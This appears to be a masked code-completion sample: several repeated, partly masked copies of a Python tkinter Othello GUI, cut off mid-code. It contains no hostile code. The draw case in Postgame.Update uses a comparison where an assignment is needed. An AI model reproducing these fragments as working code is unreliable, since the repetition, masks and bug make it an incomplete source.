self.greater_score.grid(row=1, column=0)
self.lesser_score = tk.Button(condition_frame, text='less discs.',
bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_Condition('<'))
self.lesser_score.grid(row=1, column=1)
self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',
activebackground='#992222', font=FONTS['medium'])
self.Start_Game_Btn.pack(side='bottom')
def Select_Rule_Set(self, _set: str):
if _set == 'simple':
self.controller.Handler.GameParams['game_type'] = 1
else:
self.controller.Handler.GameParams['game_type'] = 2
self.full_btn.destroy()
self.simple_btn.destroy()
self.rs_label.configure(text='Rule Set: ' + _set.upper())
self.set_vals.append('rules')
self.Check_Can_Start()
def Select_Rows(self, rows: int):
self.controller.Handler.GameParams['y_size'] = rows
for button in self.Rows_Buttons:
button.destroy()
self.row_label.configure(text='Board Rows: ' + str(rows))
self.set_vals.append('rows')
self.Check_Can_Start()
def Select_Cols(self, cols: int):
self.controller.Handler.GameParams['x_size'] = cols
for button in self.Cols_Buttons:
button.destroy()
self.col_label.configure(text='Board Columns: ' + str(cols))
self.set_vals.append('cols')
self.Check_Can_Start()
def Select_First_Move(self, mover: str):
if mover == 'black':
self.controller.Handler.GameParams['first_move'] = 'B'
else:
self.controller.Handler.GameParams['first_move'] = 'W'
self.black_btn.destroy()
self.white_btn.destroy()
self.first_move_label.configure(text='First to move: ' + mover)
self.set_vals.append('move')
self.Check_Can_Start()
def Select_Condition(self, condition: str):
self.controller.Handler.GameParams['game_winner'] = condition
if condition == '>':
self.condition_label.configure(text=
'The winner is, the player with more discs.')
else:
self.condition_label.configure(text=
'The winner is, the player with less discs.')
self.lesser_score.destroy()
self.greater_score.destroy()
self.set_vals.append('win')
self.Check_Can_Start()
def Check_Can_Start(self):
if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in
self.set_vals and 'move' in self.set_vals and 'win' in self.
set_vals):
self.Start_Game_Btn.configure(bg='#22ff22', activebackground=
'#229922', command=lambda : self.Start_Custom_Board())
def Start_Custom_Board(self):
self.controller.Pages['Setup_Board'].Setup_Board()
self.controller.showPage('Setup_Board')
self.controller.Pages['Setup_Board'].Instructions_Display()
class Custom_Board(tk.Frame):
FrameName = 'Setup_Board'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.Title_Frame = tk.Frame(self, bg='white')
self.Title_Frame.pack(side='top', fill='x')
tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',
font=FONTS['medium']).pack(side='left')
start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',
activebackground='#229922', font=FONTS['medium'], command=lambda :
self.Start())
start.pack(side='right')
self.Use_Board = tk.IntVar()
Use_Board = tk.Checkbutton(self.Title_Frame, text=
'Use custom board', font=FONTS['medium'], bg='white',
activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0
)
Use_Board.pack(side='right', padx=10)
self.Board_Area = tk.Frame(self, bg='#009900')
self.Board_Area.pack(side='top', fill='both', expand=True)
self.Board = []
def Setup_Board(self):
for widget in self.Board_Area.winfo_children():
widget.destroy()
self.Board = []
for y in range(self.controller.Handler.GameParams['y_size']):
row = []
for x in range(self.controller.Handler.GameParams['x_size']):
height = self.Board_Area.winfo_height()
width = self.Board_Area.winfo_width()
if height > width:
diameter = width / self.controller.Handler.GameParams[
'x_size']
else:
diameter = height / self.controller.Handler.GameParams[
'y_size']
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
disc = wg.Disc(self.Board_Area, self.controller, diameter=
diameter, mode='setup')
disc.grid(row=y, column=x, sticky='nsew')
row.append(disc)
self.Board.append(row)
def Parse_Board(self) ->list:
new_board = []
for row in self.Board:
new_row = []
for disc in row:
if disc.Current_Color == 'white':
new_row.append('W')
elif disc.Current_Color == 'black':
new_row.append('B')
else:
new_row.append(None)
new_board.append(new_row)
return new_board
def Instructions_Display(self):
showinfo('How to use',
'Click on a tile to cycle between white, black or empty. Check the "Use Custom Board" box to use this board!'
)
def Start(self):
if self.Use_Board.get():
self.controller.Handler.GameParams['board'] = self.Parse_Board()
self.controller.Begin_Game()
self.controller.Pages['Game'].__GUI_init__()
self.controller.Pages['Game'].Update_Board()
self.controller.showPage('Game')
class Game(tk.Frame):
FrameName = 'Game'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.Status_Bar = tk.Frame(self, bg='white')
self.Status_Bar.pack(side='top', fill='x')
self.Status_Bar.grid_columnconfigure(0, weight=1)
self.Status_Bar.grid_columnconfigure(1, weight=1)
self.Status_Bar.grid_columnconfigure(2, weight=1)
self.Status_Bar.grid_rowconfigure(0, weight=1)
self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=
'white', font=FONTS['medium'])
self.Current_Player.grid(row=0, column=0)
self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',
font=FONTS['medium'])
self.Game_Type.grid(row=0, column=1)
self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',
bg='white', font=FONTS['medium'])
self.Score.grid(row=0, column=2)
self.Board_Area = tk.Frame(self, bg='#009900')
self.Board_Area.pack(side='top', fill='both', expand=True)
self.Board = []
def __GUI_init__(self):
for y in range(self.controller.Handler.GameParams['y_size']):
row = []
for x in range(self.controller.Handler.GameParams['x_size']):
height = self.Board_Area.winfo_height()
width = self.Board_Area.winfo_width()
if height > width:
diameter = width / self.controller.Handler.GameParams[
'x_size']
else:
diameter = height / self.controller.Handler.GameParams[
'y_size']
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
disc = wg.Disc(self.Board_Area, self.controller, diameter=
diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)
)
disc.grid(row=y, column=x, sticky='nsew')
row.append(disc)
self.Board.append(row)
self.Update_Board()
def Reset_Game(self):
self.Board = []
for widget in self.Board_Area.winfo_children():
widget.destroy()
def Disc_Function(self, x: int, y: int):
if not self.controller.Handler.Move(x + 1, y + 1):
self.Invalid_Move()
def Invalid_Move(self):
showerror('Invalid Move', 'You cannot move there!')
def Update_Board(self):
for y in range(len(self.Board)):
for x in range(len(self.Board[y])):
game_piece = self.controller.Handler.Game.Board[y][x]
if game_piece == None:
pass
elif game_piece == 'B':
if self.Board[y][x].Current_Color != 'black':
self.Board[y][x].Set_Piece_Color('black')
elif game_piece == 'W':
if self.Board[y][x].Current_Color != 'white':
self.Board[y][x].Set_Piece_Color('white')
def Update_Current_Player(self):
self.Current_Player.config(text='Turn: ' + self.controller.
Get_Current_Player())
def Update_Game_Type(self):
g_type = self.controller.Handler.Get_Game_Type()
self.Game_Type.configure(text='Rules: ' + g_type)
def Update_Score(self):
b, w = self.controller.Handler.Get_Score()
self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))
def Full_Update(self):
self.Update_Score()
self.Update_Current_Player()
self.Update_Board()
class Postgame(tk.Frame):
FrameName = 'Postgame'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.Title = tk.Label(self, text='Game Over!', bg='white', font=
FONTS['large'])
self.Title.pack(side='top')
Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10
)
self.Winner = tk.Label(self, text='The winner is black-discs.', bg=
'white', font=FONTS['medium'])
self.Winner.pack(side='top')
self.Buttons = tk.Frame(self, bg='white')
self.Buttons.pack()
Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=
FONTS['medium'], command=lambda : self.Replay())
Replay.grid(row=0, column=0)
Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=
FONTS['medium'], command=lambda : self.Quit())
Quit.grid(row=0, column=1)
self.Board_Area = tk.Frame(self, bg='white')
self.Board_Area.pack(side='bottom')
self.Score = tk.Label(self.Board_Area, text='', bg='white', font=
FONTS['medium'])
self.Score.pack()
self.Board_Display = tk.Frame(self.Board_Area, bg='green')
self.Board_Display.pack()
self.Board = []
def Replay(self):
self.controller.Replay()
def Quit(self):
self.controller.destroy()
exit()
def Update_Board(self):
for widget in self.Board_Display.winfo_children():
widget.destroy()
for y in range(self.controller.Handler.GameParams['y_size']):
row = []
for x in range(self.controller.Handler.GameParams['x_size']):
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
col = None
place_col = self.controller.Handler.Game.Board[y][x]
if place_col == 'B':
col = 'black'
elif place_col == 'W':
col = 'white'
disc = wg.Disc(self.Board_Display, self.controller, col=col,
diameter=50)
disc.grid(row=y, column=x, sticky='nsew')
row.append(disc)
self.Board.append(row)
def Update(self):
winner, scores = self.controller.Handler.Get_Winner()
if winner.lower() == 'b':
winner = 'black-discs'
elif winner.lower() == 'w':
winner = 'white-discs'
else:
winner == 'no one'
self.Winner.configure(text='The winner is ' + winner)
self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(
scores[0], scores[1]))
self.Update_Board()
<mask token>
| <mask token>
class Handler:
<mask token>
<mask token>
<mask token>
<mask token>
<mask token>
<mask token>
<mask token>
<mask token>
def Get_Winner(self) ->tuple:
return self.Game.Check_Winner()
<mask token>
<mask token>
class Window(tk.Tk):
def __init__(self, controller, *args, **kwargs):
tk.Tk.__init__(self, *args, **kwargs)
self.Handler = controller
self.title('Othello')
try:
self.iconbitmap('Icon.ico')
except:
pass
self.minsize(600, 600)
self.container = tk.Frame(self)
self.container.pack(side='top', fill='both', expand=True)
self.container.grid_rowconfigure(0, weight=1)
self.container.grid_columnconfigure(0, weight=1)
self.Pages = {}
for page in (Pregame, Custom_Board, Game, Postgame):
new = page(self.container, self)
self.Pages[page.FrameName] = new
new.grid(row=0, column=0, sticky='nsew')
self.showPage('Pregame')
def showPage(self, pagename: str):
page = self.Pages[pagename]
page.tkraise()
def Begin_Game(self):
self.Handler.Start_Game()
def Get_Current_Player(self) ->str:
return self.Handler.Get_Current_Player()
def Replay(self):
self.Pages['Pregame'].__GUI_Reset__()
self.Pages['Game'].Reset_Game()
self.Handler.Replay()
self.showPage('Pregame')
class Pregame(tk.Frame):
FrameName = 'Pregame'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.set_vals = []
self.__GUI_Reset__()
def __GUI_Reset__(self):
for widget in self.winfo_children():
widget.destroy()
tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(
side='top')
Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10
)
rule_set_frame = tk.Frame(self, bg='white')
rule_set_frame.pack(pady=10)
self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=
FONTS['medium'], bg='white')
self.rs_label.pack(side='top')
self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[
'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(
'full'))
self.full_btn.pack()
self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=
FONTS['medium'], bg='#bbbbbb', command=lambda : self.
Select_Rule_Set('simple'))
self.simple_btn.pack()
row_frame = tk.Frame(self, bg='white')
row_frame.pack(pady=10)
self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[
'medium'], bg='white')
self.row_label.grid(row=0, column=0, columnspan=7)
self.Rows_Buttons = []
place = 0
for rows in [4, 6, 8, 10, 12, 14, 16]:
x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],
bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))
x.grid(row=1, column=place)
self.Rows_Buttons.append(x)
place += 1
col_frame = tk.Frame(self, bg='white')
col_frame.pack(pady=10)
self.col_label = tk.Label(col_frame, text='Board Columns', font=
FONTS['medium'], bg='white')
self.col_label.grid(row=0, column=0, columnspan=7)
self.Cols_Buttons = []
place = 0
for cols in [4, 6, 8, 10, 12, 14, 16]:
x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],
bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))
x.grid(row=1, column=place)
self.Cols_Buttons.append(x)
place += 1
first_move_frame = tk.Frame(self, bg='white')
first_move_frame.pack(pady=10)
self.first_move_label = tk.Label(first_move_frame, text=
'First to move', bg='white', font=FONTS['medium'])
self.first_move_label.grid(row=0, column=0, columnspan=2)
self.black_btn = tk.Button(first_move_frame, text='Black', bg=
'#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_First_Move('black'))
self.black_btn.grid(row=1, column=0)
self.white_btn = tk.Button(first_move_frame, text='White', bg=
'#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_First_Move('white'))
self.white_btn.grid(row=1, column=1)
condition_frame = tk.Frame(self, bg='white')
condition_frame.pack(pady=10)
self.condition_label = tk.Label(condition_frame, text=
'The winner is, the player with..', bg='white', font=FONTS[
'medium'])
self.condition_label.grid(row=0, column=0, columnspan=2)
self.greater_score = tk.Button(condition_frame, text='more discs.',
bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_Condition('>'))
self.greater_score.grid(row=1, column=0)
self.lesser_score = tk.Button(condition_frame, text='less discs.',
bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_Condition('<'))
self.lesser_score.grid(row=1, column=1)
self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',
activebackground='#992222', font=FONTS['medium'])
self.Start_Game_Btn.pack(side='bottom')
def Select_Rule_Set(self, _set: str):
if _set == 'simple':
self.controller.Handler.GameParams['game_type'] = 1
else:
self.controller.Handler.GameParams['game_type'] = 2
self.full_btn.destroy()
self.simple_btn.destroy()
self.rs_label.configure(text='Rule Set: ' + _set.upper())
self.set_vals.append('rules')
self.Check_Can_Start()
def Select_Rows(self, rows: int):
self.controller.Handler.GameParams['y_size'] = rows
for button in self.Rows_Buttons:
button.destroy()
self.row_label.configure(text='Board Rows: ' + str(rows))
self.set_vals.append('rows')
self.Check_Can_Start()
def Select_Cols(self, cols: int):
self.controller.Handler.GameParams['x_size'] = cols
for button in self.Cols_Buttons:
button.destroy()
self.col_label.configure(text='Board Columns: ' + str(cols))
self.set_vals.append('cols')
self.Check_Can_Start()
def Select_First_Move(self, mover: str):
if mover == 'black':
self.controller.Handler.GameParams['first_move'] = 'B'
else:
self.controller.Handler.GameParams['first_move'] = 'W'
self.black_btn.destroy()
self.white_btn.destroy()
self.first_move_label.configure(text='First to move: ' + mover)
self.set_vals.append('move')
self.Check_Can_Start()
def Select_Condition(self, condition: str):
self.controller.Handler.GameParams['game_winner'] = condition
if condition == '>':
self.condition_label.configure(text=
'The winner is, the player with more discs.')
else:
self.condition_label.configure(text=
'The winner is, the player with less discs.')
self.lesser_score.destroy()
self.greater_score.destroy()
self.set_vals.append('win')
self.Check_Can_Start()
def Check_Can_Start(self):
if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in
self.set_vals and 'move' in self.set_vals and 'win' in self.
set_vals):
self.Start_Game_Btn.configure(bg='#22ff22', activebackground=
'#229922', command=lambda : self.Start_Custom_Board())
def Start_Custom_Board(self):
self.controller.Pages['Setup_Board'].Setup_Board()
self.controller.showPage('Setup_Board')
self.controller.Pages['Setup_Board'].Instructions_Display()
class Custom_Board(tk.Frame):
FrameName = 'Setup_Board'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.Title_Frame = tk.Frame(self, bg='white')
self.Title_Frame.pack(side='top', fill='x')
tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',
font=FONTS['medium']).pack(side='left')
start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',
activebackground='#229922', font=FONTS['medium'], command=lambda :
self.Start())
start.pack(side='right')
self.Use_Board = tk.IntVar()
Use_Board = tk.Checkbutton(self.Title_Frame, text=
'Use custom board', font=FONTS['medium'], bg='white',
activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0
)
Use_Board.pack(side='right', padx=10)
self.Board_Area = tk.Frame(self, bg='#009900')
self.Board_Area.pack(side='top', fill='both', expand=True)
self.Board = []
def Setup_Board(self):
for widget in self.Board_Area.winfo_children():
widget.destroy()
self.Board = []
for y in range(self.controller.Handler.GameParams['y_size']):
row = []
for x in range(self.controller.Handler.GameParams['x_size']):
height = self.Board_Area.winfo_height()
width = self.Board_Area.winfo_width()
if height > width:
diameter = width / self.controller.Handler.GameParams[
'x_size']
else:
diameter = height / self.controller.Handler.GameParams[
'y_size']
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
disc = wg.Disc(self.Board_Area, self.controller, diameter=
diameter, mode='setup')
disc.grid(row=y, column=x, sticky='nsew')
row.append(disc)
self.Board.append(row)
def Parse_Board(self) ->list:
new_board = []
for row in self.Board:
new_row = []
for disc in row:
if disc.Current_Color == 'white':
new_row.append('W')
elif disc.Current_Color == 'black':
new_row.append('B')
else:
new_row.append(None)
new_board.append(new_row)
return new_board
def Instructions_Display(self):
showinfo('How to use',
'Click on a tile to cycle between white, black or empty. Check the "Use Custom Board" box to use this board!'
)
def Start(self):
if self.Use_Board.get():
self.controller.Handler.GameParams['board'] = self.Parse_Board()
self.controller.Begin_Game()
self.controller.Pages['Game'].__GUI_init__()
self.controller.Pages['Game'].Update_Board()
self.controller.showPage('Game')
class Game(tk.Frame):
FrameName = 'Game'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.Status_Bar = tk.Frame(self, bg='white')
self.Status_Bar.pack(side='top', fill='x')
self.Status_Bar.grid_columnconfigure(0, weight=1)
self.Status_Bar.grid_columnconfigure(1, weight=1)
self.Status_Bar.grid_columnconfigure(2, weight=1)
self.Status_Bar.grid_rowconfigure(0, weight=1)
self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=
'white', font=FONTS['medium'])
self.Current_Player.grid(row=0, column=0)
self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',
font=FONTS['medium'])
self.Game_Type.grid(row=0, column=1)
self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',
bg='white', font=FONTS['medium'])
self.Score.grid(row=0, column=2)
self.Board_Area = tk.Frame(self, bg='#009900')
self.Board_Area.pack(side='top', fill='both', expand=True)
self.Board = []
def __GUI_init__(self):
for y in range(self.controller.Handler.GameParams['y_size']):
row = []
for x in range(self.controller.Handler.GameParams['x_size']):
height = self.Board_Area.winfo_height()
width = self.Board_Area.winfo_width()
if height > width:
diameter = width / self.controller.Handler.GameParams[
'x_size']
else:
diameter = height / self.controller.Handler.GameParams[
'y_size']
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
disc = wg.Disc(self.Board_Area, self.controller, diameter=
diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)
)
disc.grid(row=y, column=x, sticky='nsew')
row.append(disc)
self.Board.append(row)
self.Update_Board()
def Reset_Game(self):
self.Board = []
for widget in self.Board_Area.winfo_children():
widget.destroy()
def Disc_Function(self, x: int, y: int):
if not self.controller.Handler.Move(x + 1, y + 1):
self.Invalid_Move()
def Invalid_Move(self):
showerror('Invalid Move', 'You cannot move there!')
def Update_Board(self):
for y in range(len(self.Board)):
for x in range(len(self.Board[y])):
game_piece = self.controller.Handler.Game.Board[y][x]
if game_piece == None:
pass
elif game_piece == 'B':
if self.Board[y][x].Current_Color != 'black':
self.Board[y][x].Set_Piece_Color('black')
elif game_piece == 'W':
if self.Board[y][x].Current_Color != 'white':
self.Board[y][x].Set_Piece_Color('white')
def Update_Current_Player(self):
self.Current_Player.config(text='Turn: ' + self.controller.
Get_Current_Player())
def Update_Game_Type(self):
g_type = self.controller.Handler.Get_Game_Type()
self.Game_Type.configure(text='Rules: ' + g_type)
def Update_Score(self):
b, w = self.controller.Handler.Get_Score()
self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))
def Full_Update(self):
self.Update_Score()
self.Update_Current_Player()
self.Update_Board()
class Postgame(tk.Frame):
FrameName = 'Postgame'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.Title = tk.Label(self, text='Game Over!', bg='white', font=
FONTS['large'])
self.Title.pack(side='top')
Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10
)
self.Winner = tk.Label(self, text='The winner is black-discs.', bg=
'white', font=FONTS['medium'])
self.Winner.pack(side='top')
self.Buttons = tk.Frame(self, bg='white')
self.Buttons.pack()
Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=
FONTS['medium'], command=lambda : self.Replay())
Replay.grid(row=0, column=0)
Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=
FONTS['medium'], command=lambda : self.Quit())
Quit.grid(row=0, column=1)
self.Board_Area = tk.Frame(self, bg='white')
self.Board_Area.pack(side='bottom')
self.Score = tk.Label(self.Board_Area, text='', bg='white', font=
FONTS['medium'])
self.Score.pack()
self.Board_Display = tk.Frame(self.Board_Area, bg='green')
self.Board_Display.pack()
self.Board = []
def Replay(self):
self.controller.Replay()
def Quit(self):
self.controller.destroy()
exit()
def Update_Board(self):
for widget in self.Board_Display.winfo_children():
widget.destroy()
for y in range(self.controller.Handler.GameParams['y_size']):
row = []
for x in range(self.controller.Handler.GameParams['x_size']):
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
col = None
place_col = self.controller.Handler.Game.Board[y][x]
if place_col == 'B':
col = 'black'
elif place_col == 'W':
col = 'white'
disc = wg.Disc(self.Board_Display, self.controller, col=col,
diameter=50)
disc.grid(row=y, column=x, sticky='nsew')
row.append(disc)
self.Board.append(row)
def Update(self):
winner, scores = self.controller.Handler.Get_Winner()
if winner.lower() == 'b':
winner = 'black-discs'
elif winner.lower() == 'w':
winner = 'white-discs'
else:
winner == 'no one'
self.Winner.configure(text='The winner is ' + winner)
self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(
scores[0], scores[1]))
self.Update_Board()
<mask token>
| <mask token>
FONTS = {'large': ('Helvetica', 20), 'medium': ('Helvetica', 16), 'small':
('Helvetica', 12)}
class Handler:
def __init__(self):
self.Game = None
self.GameParams = {}
self.Window = Window(self)
self.Window.mainloop()
def Replay(self):
self.GameParams = {}
del self.Game
self.Game = None
def Is_Running(self):
return self.Game.Running
def Start_Game(self):
self.Game = lgc.Game(**self.GameParams)
self.Game.Start_Game()
self.Update_Game()
self.Window.Pages['Game'].Update_Game_Type()
def Get_Current_Player(self) ->str:
if self.Game.Running:
if self.Game.Current_Player == 'B':
return 'black'
else:
return 'white'
else:
return 'None'
def Get_Game_Type(self) ->str:
g = self.Game.Game_Type
if g == 1:
return 'SIMPLE'
else:
return 'FULL'
def Get_Score(self) ->tuple:
s = self.Game.Get_Discs()
return s[0], s[1]
def Move(self, x: int, y: int) ->bool:
complete = self.Game.Next_Move(x, y)
if complete:
self.Update_Game()
self.Game_Complete_Check()
return True
self.Update_Game()
self.Game_Complete_Check()
return False
def Get_Winner(self) ->tuple:
return self.Game.Check_Winner()
def Game_Complete_Check(self):
if self.Is_Running() == False:
self.Window.showPage('Postgame')
self.Window.Pages['Postgame'].Update()
def Update_Game(self):
self.Window.Pages['Game'].Full_Update()
class Window(tk.Tk):
def __init__(self, controller, *args, **kwargs):
tk.Tk.__init__(self, *args, **kwargs)
self.Handler = controller
self.title('Othello')
try:
self.iconbitmap('Icon.ico')
except:
pass
self.minsize(600, 600)
self.container = tk.Frame(self)
self.container.pack(side='top', fill='both', expand=True)
self.container.grid_rowconfigure(0, weight=1)
self.container.grid_columnconfigure(0, weight=1)
self.Pages = {}
for page in (Pregame, Custom_Board, Game, Postgame):
new = page(self.container, self)
self.Pages[page.FrameName] = new
new.grid(row=0, column=0, sticky='nsew')
self.showPage('Pregame')
def showPage(self, pagename: str):
page = self.Pages[pagename]
page.tkraise()
def Begin_Game(self):
self.Handler.Start_Game()
def Get_Current_Player(self) ->str:
return self.Handler.Get_Current_Player()
def Replay(self):
self.Pages['Pregame'].__GUI_Reset__()
self.Pages['Game'].Reset_Game()
self.Handler.Replay()
self.showPage('Pregame')
class Pregame(tk.Frame):
FrameName = 'Pregame'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.set_vals = []
self.__GUI_Reset__()
def __GUI_Reset__(self):
for widget in self.winfo_children():
widget.destroy()
tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(
side='top')
Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10
)
rule_set_frame = tk.Frame(self, bg='white')
rule_set_frame.pack(pady=10)
self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=
FONTS['medium'], bg='white')
self.rs_label.pack(side='top')
self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[
'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(
'full'))
self.full_btn.pack()
self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=
FONTS['medium'], bg='#bbbbbb', command=lambda : self.
Select_Rule_Set('simple'))
self.simple_btn.pack()
row_frame = tk.Frame(self, bg='white')
row_frame.pack(pady=10)
self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[
'medium'], bg='white')
self.row_label.grid(row=0, column=0, columnspan=7)
self.Rows_Buttons = []
place = 0
for rows in [4, 6, 8, 10, 12, 14, 16]:
x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],
bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))
x.grid(row=1, column=place)
self.Rows_Buttons.append(x)
place += 1
col_frame = tk.Frame(self, bg='white')
col_frame.pack(pady=10)
self.col_label = tk.Label(col_frame, text='Board Columns', font=
FONTS['medium'], bg='white')
self.col_label.grid(row=0, column=0, columnspan=7)
self.Cols_Buttons = []
place = 0
for cols in [4, 6, 8, 10, 12, 14, 16]:
x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],
bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))
x.grid(row=1, column=place)
self.Cols_Buttons.append(x)
place += 1
first_move_frame = tk.Frame(self, bg='white')
first_move_frame.pack(pady=10)
self.first_move_label = tk.Label(first_move_frame, text=
'First to move', bg='white', font=FONTS['medium'])
self.first_move_label.grid(row=0, column=0, columnspan=2)
self.black_btn = tk.Button(first_move_frame, text='Black', bg=
'#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_First_Move('black'))
self.black_btn.grid(row=1, column=0)
self.white_btn = tk.Button(first_move_frame, text='White', bg=
'#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_First_Move('white'))
self.white_btn.grid(row=1, column=1)
condition_frame = tk.Frame(self, bg='white')
condition_frame.pack(pady=10)
self.condition_label = tk.Label(condition_frame, text=
'The winner is, the player with..', bg='white', font=FONTS[
'medium'])
self.condition_label.grid(row=0, column=0, columnspan=2)
self.greater_score = tk.Button(condition_frame, text='more discs.',
bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_Condition('>'))
self.greater_score.grid(row=1, column=0)
self.lesser_score = tk.Button(condition_frame, text='less discs.',
bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.
Select_Condition('<'))
self.lesser_score.grid(row=1, column=1)
self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',
activebackground='#992222', font=FONTS['medium'])
self.Start_Game_Btn.pack(side='bottom')
def Select_Rule_Set(self, _set: str):
if _set == 'simple':
self.controller.Handler.GameParams['game_type'] = 1
else:
self.controller.Handler.GameParams['game_type'] = 2
self.full_btn.destroy()
self.simple_btn.destroy()
self.rs_label.configure(text='Rule Set: ' + _set.upper())
self.set_vals.append('rules')
self.Check_Can_Start()
def Select_Rows(self, rows: int):
self.controller.Handler.GameParams['y_size'] = rows
for button in self.Rows_Buttons:
button.destroy()
self.row_label.configure(text='Board Rows: ' + str(rows))
self.set_vals.append('rows')
self.Check_Can_Start()
def Select_Cols(self, cols: int):
self.controller.Handler.GameParams['x_size'] = cols
for button in self.Cols_Buttons:
button.destroy()
self.col_label.configure(text='Board Columns: ' + str(cols))
self.set_vals.append('cols')
self.Check_Can_Start()
def Select_First_Move(self, mover: str):
if mover == 'black':
self.controller.Handler.GameParams['first_move'] = 'B'
else:
self.controller.Handler.GameParams['first_move'] = 'W'
self.black_btn.destroy()
self.white_btn.destroy()
self.first_move_label.configure(text='First to move: ' + mover)
self.set_vals.append('move')
self.Check_Can_Start()
def Select_Condition(self, condition: str):
self.controller.Handler.GameParams['game_winner'] = condition
if condition == '>':
self.condition_label.configure(text=
'The winner is, the player with more discs.')
else:
self.condition_label.configure(text=
'The winner is, the player with less discs.')
self.lesser_score.destroy()
self.greater_score.destroy()
self.set_vals.append('win')
self.Check_Can_Start()
def Check_Can_Start(self):
if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in
self.set_vals and 'move' in self.set_vals and 'win' in self.
set_vals):
self.Start_Game_Btn.configure(bg='#22ff22', activebackground=
'#229922', command=lambda : self.Start_Custom_Board())
def Start_Custom_Board(self):
self.controller.Pages['Setup_Board'].Setup_Board()
self.controller.showPage('Setup_Board')
self.controller.Pages['Setup_Board'].Instructions_Display()
class Custom_Board(tk.Frame):
FrameName = 'Setup_Board'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.Title_Frame = tk.Frame(self, bg='white')
self.Title_Frame.pack(side='top', fill='x')
tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',
font=FONTS['medium']).pack(side='left')
start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',
activebackground='#229922', font=FONTS['medium'], command=lambda :
self.Start())
start.pack(side='right')
self.Use_Board = tk.IntVar()
Use_Board = tk.Checkbutton(self.Title_Frame, text=
'Use custom board', font=FONTS['medium'], bg='white',
